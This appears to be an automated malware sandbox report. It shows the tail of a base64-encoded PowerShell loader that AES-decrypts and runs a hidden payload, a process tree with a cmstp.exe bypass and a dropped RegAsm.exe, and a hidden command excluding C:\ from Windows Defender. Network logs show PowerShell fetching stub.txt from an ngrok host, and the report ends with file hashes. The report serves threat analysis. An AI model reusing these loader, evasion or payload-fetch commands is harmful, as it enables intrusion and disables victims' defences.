cwBCAGkAbAAxAFoASwBHAHcAZwBRAFYAQwBpAFEAaABXAEIATQB0AEkAbQBQAGQAMABvAFUASwBsAFYAawBlAE4AQQBiAG8AdQBZAEoAcQAwAFEAZQB1AG4ATgBjAGQAUAB1AEUANgBmAHYASABhAGEASgBEADAAbABHAFcAeQB3AHgAVgBCADQARAAxAEoARwA4ADAAVgB4AGsAKwBUAFIAYwBOADMAaAB6AE4ARABjADEAcAAvAGkAUQBkAFUASABvAHcAZwBHAGoAagB2AEoANQA4AGQAUgBnAFgAMABkAEMAWQBZAFAAcQBqAG0ANwBDAFYAdgA2AHEAaABsAGYAZwBjAHYAaQBNAEIAeABUAFoAMwB6ADgAbgAvAHEAVAAxAGcAcQA4AGMAZQBnAEYAZABiAC8AagAyAGIASQAzAFcAMABNAHgAYgA1ADQAbgBrAHQAdgByAEEAbwA5AHEASwBKACsAaQA0AEUAYgAxAG8AVAA0AGUANABvADAATgBKAG0AdgAzAFkAawB1AEUATgBtAFcAaQAwAFQAVQBKADMANQBwAEUAVwAxADgAUABMAG8AagBiAHoAMwBaAC8AYQBaAHQATABYAG0AQgBXAGcAegBUAHYAYQBkAHUAbAB3AHoAVQB1AHUATgB3AE0ATgBhAHAAeAA2AG4ATgB5AGIATwB4AE4AWQBYADQAaQA2AEgAUAA5AHkAYQBjAHEAcABWACsAaABXAGwAYwBsAFcAcgAvAGkAQgBaAHcAcAA3AG0ARwBRAEYAcQBaAGgAMwBnAFMAbgBiAC8AaABzAHUAUQBPAEMAOQB1AGQARgBLADEARQBLAEIARwBRAHQATgBZAHkAeQBSAEgARgBvAEcAMwBrADMARgBsADcARAByAFMAbAA2ADkAZwBPAGwAaABGAG0ASwBWAG8AZgBkAGUAKwBnAFEAMABLAHMATABSAFUALwBMAFIAOQBFAG0AVgBDAFQAMAB2AFEANQBzAG4AawBZAHQAeQBUAEEANgAvAFEAdwBPAFUAPQAiACkADQAKACAAIAAgACAAJABpACAAPQAgACQAZABbADAALgAuADEANQBdAA0ACgAgACAAIAAgACQAZQAgAD0AIAAkAGQAWwAxADYALgAuACgAJABkAC4ATABlAG4AZwB0AGgAIAAtACAAMQApAF0ADQAKACAAIAAgACAAJABhAGUAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAE0AYQBuAGEAZwBlAGQADQAKACAAIAAgACAAJABhAGUAcwAuAE0AbwBkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBDAEIAQwANAAoAIAAgACAAIAAkAGEAZQBzAC4ASwBlAHkAIAA9ACAAJABhAA0ACgAgACAAIAAgACQAYQBlAHMALgBJAFYAIAA9ACAAJABpAA0ACgAgACAAIAAgACQAZABlAGMAIAA9ACAAJABhAGUAcwAuAEMAcgBlAGEAdABlAEQAZQBjAHIAeQBwAHQAbwByACgAKQANAAoAIAAgACAAIAAkAG8AdQB0ACAAPQAgACQAZABlAGMALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABlACwAIAAwACwAIAAkAGUALgBMAGUAbgBnAHQAaAApAA0ACgAgACAAIAAgACQAcgBlAHMAIAA9ACAAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbwB1AHQAKQANAAoAIAAgACAAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAHIAZQBzAA0ACgA= -inputFormat xml -outputFormat text
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2800
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ghxwalv4\ghxwalv4.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:600
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4E2B.tmp" "c:\Users\Admin\AppData\Local\Temp\ghxwalv4\CSC25F5039DC5284001B44FF5D341B366.TMP"
            5⤵
              PID:4660
          • C:\windows\system32\cmstp.exe
            "C:\windows\system32\cmstp.exe" /au C:\windows\temp\5peqrxtl.inf
            4⤵
              PID:5052
          • C:\Users\Admin\AppData\Local\Temp\RegAsm.exe
            "C:\Users\Admin\AppData\Local\Temp\RegAsm.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:4164
      • C:\Windows\system32\taskmgr.exe
        "C:\Windows\system32\taskmgr.exe" /4
        1⤵
        • Checks SCSI registry key(s)
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:1484
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -c .('Add-MpP' + 'reference') -ExclusionPath C:\
        1⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1488
      • C:\Windows\system32\taskkill.exe
        taskkill /IM cmstp.exe /F
        1⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1748
      • C:\Windows\System32\rundll32.exe
        C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
        1⤵
          PID:2620
        • C:\Users\Admin\AppData\Local\Temp\RegAsm.exe
          "C:\Users\Admin\AppData\Local\Temp\RegAsm.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:3364

        Network

        • flag-us
          DNS
          241.150.49.20.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          241.150.49.20.in-addr.arpa
          IN PTR
          Response
        • flag-us
          DNS
          224.122.19.2.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          224.122.19.2.in-addr.arpa
          IN PTR
          Response
          224.122.19.2.in-addr.arpa
          IN PTR
          a2-19-122-224deploystaticakamaitechnologiescom
        • flag-us
          DNS
          64.159.190.20.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          64.159.190.20.in-addr.arpa
          IN PTR
          Response
        • flag-us
          DNS
          95.221.229.192.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          95.221.229.192.in-addr.arpa
          IN PTR
          Response
        • flag-us
          DNS
          43.58.199.20.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          43.58.199.20.in-addr.arpa
          IN PTR
          Response
        • flag-us
          DNS
          104.219.191.52.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          104.219.191.52.in-addr.arpa
          IN PTR
          Response
        • flag-us
          DNS
          53.210.109.20.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          53.210.109.20.in-addr.arpa
          IN PTR
          Response
        • flag-us
          DNS
          171.39.242.20.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          171.39.242.20.in-addr.arpa
          IN PTR
          Response
        • flag-us
          DNS
          110.11.19.2.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          110.11.19.2.in-addr.arpa
          IN PTR
          Response
          110.11.19.2.in-addr.arpa
          IN PTR
          a2-19-11-110deploystaticakamaitechnologiescom
        • flag-us
          DNS
          26.35.223.20.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          26.35.223.20.in-addr.arpa
          IN PTR
          Response
        • flag-us
          DNS
          empty.ngrok.io
          powershell.exe
          Remote address:
          8.8.8.8:53
          Request
          empty.ngrok.io
          IN A
          Response
          empty.ngrok.io
          IN A
          18.192.31.165
          empty.ngrok.io
          IN A
          3.125.223.134
          empty.ngrok.io
          IN A
          3.125.102.39
          empty.ngrok.io
          IN A
          18.158.249.75
          empty.ngrok.io
          IN A
          3.125.209.94
          empty.ngrok.io
          IN A
          3.124.142.205
        • flag-de
          GET
          https://empty.ngrok.io/stub.txt
          powershell.exe
          Remote address:
          18.192.31.165:443
          Request
          GET /stub.txt HTTP/1.1
          Authorization: your_fixed_token_here
          User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1237
          Host: empty.ngrok.io
          Connection: Keep-Alive
          Response
          HTTP/1.1 200 OK
          Cache-Control: no-cache
          Content-Disposition: inline; filename=stub.txt
          Content-Length: 10467
          Content-Type: text/plain; charset=utf-8
          Date: Mon, 04 Nov 2024 20:35:19 GMT
          Etag: "1730477183.4482946-10467-3937406383"
          Last-Modified: Fri, 01 Nov 2024 16:06:23 GMT
          Server: waitress
        • flag-us
          DNS
          165.31.192.18.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          165.31.192.18.in-addr.arpa
          IN PTR
          Response
          165.31.192.18.in-addr.arpa
          IN PTR
          ec2-18-192-31-165 eu-central-1compute amazonawscom
        • flag-us
          DNS
          205.122.19.2.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          205.122.19.2.in-addr.arpa
          IN PTR
          Response
          205.122.19.2.in-addr.arpa
          IN PTR
          a2-19-122-205deploystaticakamaitechnologiescom
        • flag-us
          DNS
          tse1.mm.bing.net
          Remote address:
          8.8.8.8:53
          Request
          tse1.mm.bing.net
          IN A
          Response
          tse1.mm.bing.net
          IN CNAME
          mm-mm.bing.net.trafficmanager.net
          mm-mm.bing.net.trafficmanager.net
          IN CNAME
          ax-0001.ax-msedge.net
          ax-0001.ax-msedge.net
          IN A
          150.171.27.10
          ax-0001.ax-msedge.net
          IN A
          150.171.28.10
        • flag-us
          GET
          https://tse1.mm.bing.net/th?id=OADD2.10239360264291_1OMXAE3VFGJI9A76K&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90
          Remote address:
          150.171.27.10:443
          Request
          GET /th?id=OADD2.10239360264291_1OMXAE3VFGJI9A76K&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/2.0
          host: tse1.mm.bing.net
          accept: */*
          accept-encoding: gzip, deflate, br
          user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
          Response
          HTTP/2.0 200
          cache-control: public, max-age=2592000
          content-length: 604205
          content-type: image/jpeg
          x-cache: TCP_HIT
          access-control-allow-origin: *
          access-control-allow-headers: *
          access-control-allow-methods: GET, POST, OPTIONS
          timing-allow-origin: *
          report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]}
          nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
          accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
          x-msedge-ref: Ref A: 2D58C73D95D04C7F86FB20BE3C170192 Ref B: LON601060103025 Ref C: 2024-11-04T20:35:42Z
          date: Mon, 04 Nov 2024 20:35:42 GMT
        • flag-us
          GET
          https://tse1.mm.bing.net/th?id=OADD2.10239360264303_1FV8HLP8B8WOIRSCV&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90
          Remote address:
          150.171.27.10:443
          Request
          GET /th?id=OADD2.10239360264303_1FV8HLP8B8WOIRSCV&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/2.0
          host: tse1.mm.bing.net
          accept: */*
          accept-encoding: gzip, deflate, br
          user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
          Response
          HTTP/2.0 200
          cache-control: public, max-age=2592000
          content-length: 461387
          content-type: image/jpeg
          x-cache: TCP_HIT
          access-control-allow-origin: *
          access-control-allow-headers: *
          access-control-allow-methods: GET, POST, OPTIONS
          timing-allow-origin: *
          report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]}
          nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
          accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
          x-msedge-ref: Ref A: ECC21F5A701F4681A0AECF9FD2C033A7 Ref B: LON601060103025 Ref C: 2024-11-04T20:35:42Z
          date: Mon, 04 Nov 2024 20:35:42 GMT
        • flag-us
          GET
          https://tse1.mm.bing.net/th?id=OADD2.10239340418579_1UMXSJ3YHHNUEPPRM&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90
          Remote address:
          150.171.27.10:443
          Request
          GET /th?id=OADD2.10239340418579_1UMXSJ3YHHNUEPPRM&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/2.0
          host: tse1.mm.bing.net
          accept: */*
          accept-encoding: gzip, deflate, br
          user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
          Response
          HTTP/2.0 200
          cache-control: public, max-age=2592000
          content-length: 585223
          content-type: image/jpeg
          x-cache: TCP_HIT
          access-control-allow-origin: *
          access-control-allow-headers: *
          access-control-allow-methods: GET, POST, OPTIONS
          timing-allow-origin: *
          report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]}
          nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
          accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
          x-msedge-ref: Ref A: 019B625A87E34C2DB76D6621AD5FCCCB Ref B: LON601060103025 Ref C: 2024-11-04T20:35:42Z
          date: Mon, 04 Nov 2024 20:35:42 GMT
        • flag-us
          GET
          https://tse1.mm.bing.net/th?id=OADD2.10239317300915_11PL293NENO2DA53I&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90
          Remote address:
          150.171.27.10:443
          Request
          GET /th?id=OADD2.10239317300915_11PL293NENO2DA53I&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/2.0
          host: tse1.mm.bing.net
          accept: */*
          accept-encoding: gzip, deflate, br
          user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
          Response
          HTTP/2.0 200
          cache-control: public, max-age=2592000
          content-length: 401499
          content-type: image/jpeg
          x-cache: TCP_HIT
          access-control-allow-origin: *
          access-control-allow-headers: *
          access-control-allow-methods: GET, POST, OPTIONS
          timing-allow-origin: *
          report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]}
          nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
          accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
          x-msedge-ref: Ref A: BBBC2A3CB0CC4CD88A6DDC23459969BD Ref B: LON601060103025 Ref C: 2024-11-04T20:35:42Z
          date: Mon, 04 Nov 2024 20:35:42 GMT
        • flag-us
          GET
          https://tse1.mm.bing.net/th?id=OADD2.10239340418580_1XZDKNXCHEXKE96NH&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90
          Remote address:
          150.171.27.10:443
          Request
          GET /th?id=OADD2.10239340418580_1XZDKNXCHEXKE96NH&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/2.0
          host: tse1.mm.bing.net
          accept: */*
          accept-encoding: gzip, deflate, br
          user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
          Response
          HTTP/2.0 200
          cache-control: public, max-age=2592000
          content-length: 666447
          content-type: image/jpeg
          x-cache: TCP_HIT
          access-control-allow-origin: *
          access-control-allow-headers: *
          access-control-allow-methods: GET, POST, OPTIONS
          timing-allow-origin: *
          report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]}
          nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
          accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
          x-msedge-ref: Ref A: 2C43E47157F9481D847E5CA0703DAC1F Ref B: LON601060103025 Ref C: 2024-11-04T20:35:42Z
          date: Mon, 04 Nov 2024 20:35:42 GMT
        • flag-us
          GET
          https://tse1.mm.bing.net/th?id=OADD2.10239317301348_1IGED3LPK164UYK70&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90
          Remote address:
          150.171.27.10:443
          Request
          GET /th?id=OADD2.10239317301348_1IGED3LPK164UYK70&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/2.0
          host: tse1.mm.bing.net
          accept: */*
          accept-encoding: gzip, deflate, br
          user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
          Response
          HTTP/2.0 200
          cache-control: public, max-age=2592000
          content-length: 531680
          content-type: image/jpeg
          x-cache: TCP_HIT
          access-control-allow-origin: *
          access-control-allow-headers: *
          access-control-allow-methods: GET, POST, OPTIONS
          timing-allow-origin: *
          report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]}
          nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
          accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
          x-msedge-ref: Ref A: 34796DD9AED54333A2F69847439B3710 Ref B: LON601060103025 Ref C: 2024-11-04T20:35:43Z
          date: Mon, 04 Nov 2024 20:35:43 GMT
        • flag-us
          DNS
          14.227.111.52.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          14.227.111.52.in-addr.arpa
          IN PTR
          Response
        • 18.192.31.165:443
          https://empty.ngrok.io/stub.txt
          tls, http
          powershell.exe
          1.1kB
           14.0kB
           13
          16

          HTTP Request

          GET https://empty.ngrok.io/stub.txt

          HTTP Response

          200
        • 127.0.0.1:2024
          RegAsm.exe
        • 150.171.27.10:443
          tse1.mm.bing.net
          tls, http2
          1.2kB
           6.9kB
           15
          13
        • 150.171.27.10:443
          tse1.mm.bing.net
          tls, http2
          1.2kB
           6.9kB
           15
          13
        • 150.171.27.10:443
          https://tse1.mm.bing.net/th?id=OADD2.10239317301348_1IGED3LPK164UYK70&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90
          tls, http2
          115.7kB
           3.4MB
           2445
          2439

          HTTP Request

          GET https://tse1.mm.bing.net/th?id=OADD2.10239360264291_1OMXAE3VFGJI9A76K&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90

          HTTP Request

          GET https://tse1.mm.bing.net/th?id=OADD2.10239360264303_1FV8HLP8B8WOIRSCV&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90

          HTTP Request

          GET https://tse1.mm.bing.net/th?id=OADD2.10239340418579_1UMXSJ3YHHNUEPPRM&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90

          HTTP Request

          GET https://tse1.mm.bing.net/th?id=OADD2.10239317300915_11PL293NENO2DA53I&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90

          HTTP Request

          GET https://tse1.mm.bing.net/th?id=OADD2.10239340418580_1XZDKNXCHEXKE96NH&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90

          HTTP Response

          200

          HTTP Response

          200

          HTTP Response

          200

          HTTP Response

          200

          HTTP Response

          200

          HTTP Request

          GET https://tse1.mm.bing.net/th?id=OADD2.10239317301348_1IGED3LPK164UYK70&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90

          HTTP Response

          200
        • 150.171.27.10:443
          tse1.mm.bing.net
          tls, http2
          1.2kB
           6.9kB
           15
          13
        • 150.171.27.10:443
          tse1.mm.bing.net
          tls, http2
          1.2kB
           6.9kB
           15
          13
        • 127.0.0.1:2024
          RegAsm.exe
        • 127.0.0.1:2024
          RegAsm.exe
        • 127.0.0.1:2024
          RegAsm.exe
        • 127.0.0.1:2024
          RegAsm.exe
        • 8.8.8.8:53
          241.150.49.20.in-addr.arpa
          dns
          72 B
           158 B
           1
          1

          DNS Request

          241.150.49.20.in-addr.arpa

        • 8.8.8.8:53
          224.122.19.2.in-addr.arpa
          dns
          71 B
           135 B
           1
          1

          DNS Request

          224.122.19.2.in-addr.arpa

        • 8.8.8.8:53
          64.159.190.20.in-addr.arpa
          dns
          72 B
           158 B
           1
          1

          DNS Request

          64.159.190.20.in-addr.arpa

        • 8.8.8.8:53
          95.221.229.192.in-addr.arpa
          dns
          73 B
           144 B
           1
          1

          DNS Request

          95.221.229.192.in-addr.arpa

        • 8.8.8.8:53
          43.58.199.20.in-addr.arpa
          dns
          71 B
           157 B
           1
          1

          DNS Request

          43.58.199.20.in-addr.arpa

        • 8.8.8.8:53
          104.219.191.52.in-addr.arpa
          dns
          73 B
           147 B
           1
          1

          DNS Request

          104.219.191.52.in-addr.arpa

        • 8.8.8.8:53
          53.210.109.20.in-addr.arpa
          dns
          72 B
           158 B
           1
          1

          DNS Request

          53.210.109.20.in-addr.arpa

        • 8.8.8.8:53
          171.39.242.20.in-addr.arpa
          dns
          72 B
           158 B
           1
          1

          DNS Request

          171.39.242.20.in-addr.arpa

        • 8.8.8.8:53
          110.11.19.2.in-addr.arpa
          dns
          70 B
           133 B
           1
          1

          DNS Request

          110.11.19.2.in-addr.arpa

        • 8.8.8.8:53
          26.35.223.20.in-addr.arpa
          dns
          71 B
           157 B
           1
          1

          DNS Request

          26.35.223.20.in-addr.arpa

        • 8.8.8.8:53
          empty.ngrok.io
          dns
          powershell.exe
          60 B
           156 B
           1
          1

          DNS Request

          empty.ngrok.io

          DNS Response

          18.192.31.165
          3.125.223.134
          3.125.102.39
          18.158.249.75
          3.125.209.94
          3.124.142.205

        • 8.8.8.8:53
          165.31.192.18.in-addr.arpa
          dns
          72 B
           138 B
           1
          1

          DNS Request

          165.31.192.18.in-addr.arpa

        • 8.8.8.8:53
          205.122.19.2.in-addr.arpa
          dns
          71 B
           135 B
           1
          1

          DNS Request

          205.122.19.2.in-addr.arpa

        • 8.8.8.8:53
          tse1.mm.bing.net
          dns
          62 B
           170 B
           1
          1

          DNS Request

          tse1.mm.bing.net

          DNS Response

          150.171.27.10
          150.171.28.10

        • 8.8.8.8:53
          14.227.111.52.in-addr.arpa
          dns
          72 B
           158 B
           1
          1

          DNS Request

          14.227.111.52.in-addr.arpa

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          Filesize

          2KB

          MD5

          d85ba6ff808d9e5444a4b369f5bc2730

          SHA1

          31aa9d96590fff6981b315e0b391b575e4c0804a

          SHA256

          84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

          SHA512

          8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

          Download Submit

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          Filesize

          1KB

          MD5

          fa89610ced3b857417a9b65fb0402e41

          SHA1

          ee770e99f6ec8b3f0a844ba76b74deb270b63238

          SHA256

          d7960dcab0d50d627402bbd443872c1ed5e1a79390b5d6f12ca670f08d3f5a0e

          SHA512

          8e43256e2a3cfdc07684168e14299fa1b5c94223315da4da76a6114e5d65faabbec56a083521c8f019ef817f27d3db8931e2b72938e0bc90654a1c189c51c34b

          Download Submit

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          Filesize

          1KB

          MD5

          4aaea8e990963328115bd59dee2bcda8

          SHA1

          2d7eed0a0a898811d6a149a4545ab3732477c01a

          SHA256

          d9409a92c971fffde4ef29a4777990224d362ae8d847b583a7bd01b5d80394cc

          SHA512

          de1b4cd2633996f20d8967a55c654c902f94080ba4d002c8d7fd473d077b5c26d4b3c8064a3c69a9485074560f25764225f42aadde352633f96326ee521fbd50

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\RES4E2B.tmp
          Filesize

          1KB

          MD5

          ba0eb3d4f52c43ed2f36a7224cb220df

          SHA1

          0baf09abf1ff745d2802eee38bd8b46e41f90e2f

          SHA256

          608f6bf87003ea960829c823201a0b28aafd9eeb6e2234f463b470401027b043

          SHA512

          4af33885de5266cf4f2be08ff45f4213b566d9c06b60c00004b5f1bdbf2322a7111b5eb036ddf5ee863b817f4d345309e0a7477bff8e93a2237efcff9df52e61

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\RegAsm.exe
          Filesize

          32KB

          MD5

          4b23d0d98c945121994ecde5001cb9ef

          SHA1

          cf72261a20daf6a0035f1a84f5bbd0bb2e4ac1a4

          SHA256

          584290c3553d373d1fa4025dc8be39b616a376cb2bb1fd4730dc29c68f4ccb1c

          SHA512

          20173f542bd9d1d3204f946e697e795b3f5da2610e42b3aafd6fe5bdbfaca1a90f27c9c6701b030b1f013d8f04bec77050c22ea9d63c38dad9af951e4d407636

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2blmw24u.ta3.ps1
          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\ghxwalv4\ghxwalv4.dll
          Filesize

          4KB

          MD5

          29950085d6467a80ed9287d2083fe6e6

          SHA1

          566d81fdb4f531535a408e61fcdb83a376b83901

          SHA256

          daf38fe0b580308e904397226fdadedb5d683f24524dba5f69438bcaea6d99d4

          SHA512

          87dd0c6f2d9303d71353f2eed214bb384488cbef0c45f9562c404aa2c58ca12f4d1a6272e743c906fed2927805f2f52b93454e2e931e2370ae279af3248f85c1

          Download Submit

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
          Filesize

          6KB

          MD5

          06cf6307ed59c562027f88a77d94b5af

          SHA1

          d06ed867151aee3e996119805c1df42cd7a6f0bf

          SHA256

          98b4b785babe3d1f964a0c5801f76810b88459ebef2ac52ad6d2909b59270030

          SHA512

          414602bef501d2b4268814753949127511db603d0a9725c222560b12d53f9f0eb437449c246fb84f6f252d36ec6e6d5d4f40a43ff819bbdfa4c41ed68b9c529d

          Download Submit

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
          Filesize

          5KB

          MD5

          d71bf7101b3cafe3d03d3cf6a0857624

          SHA1

          38731b1eccf4452978fc4eeec9b0216db21bcac5

          SHA256

